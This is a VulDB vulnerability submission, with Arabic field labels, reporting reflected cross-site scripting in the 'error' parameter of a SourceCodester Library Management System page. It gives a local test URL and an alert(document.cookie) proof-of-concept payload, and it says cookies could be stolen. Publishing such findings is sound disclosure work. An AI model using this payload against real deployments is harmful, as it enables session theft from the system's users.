| عنوان | Library Management System front desk /qr/I/ Cross Site Script |
|---|
| الوصف | info：Library Management System front desk /qr/I/ Cross Site Script
The parameter in index.php of this page is error parameter is not filtered, which can directly xss attack to steal cookie information
Direct access to the page address: http://192.168.153.1:8090/qr/I/?error=123
Then replace 123 with xss code <script>alert(document.cookie)</script>
Access address: http://192.168.153.1:8090/qr/I/?error=<script>alert(document.cookie)</script>
XSS can be achieved
payload：
/qr/I/?error=<script>alert(document.cookie)</script> |
|---|
| المصدر | ⚠️ https:// www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html |
|---|
| المستخدم | jsbae3449 (UID 30775) |
|---|
| ارسال | 10/08/2022 11:23 AM (4 سنوات منذ) |
|---|
| الاعتدال | 11/08/2022 11:04 AM (24 hours later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 206164 [SourceCodester Library Management System /qr/I/ خطأ البرمجة عبر المواقع] |
|---|
| النقاط | 20 |
|---|